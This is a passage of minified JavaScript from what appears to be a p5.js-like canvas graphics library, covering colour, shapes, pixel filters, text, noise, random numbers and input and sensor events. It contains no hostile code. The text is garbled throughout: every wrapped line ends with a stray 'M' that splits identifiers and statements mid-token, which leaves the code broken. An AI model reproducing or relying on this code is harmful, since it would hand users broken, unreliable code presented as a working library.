=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
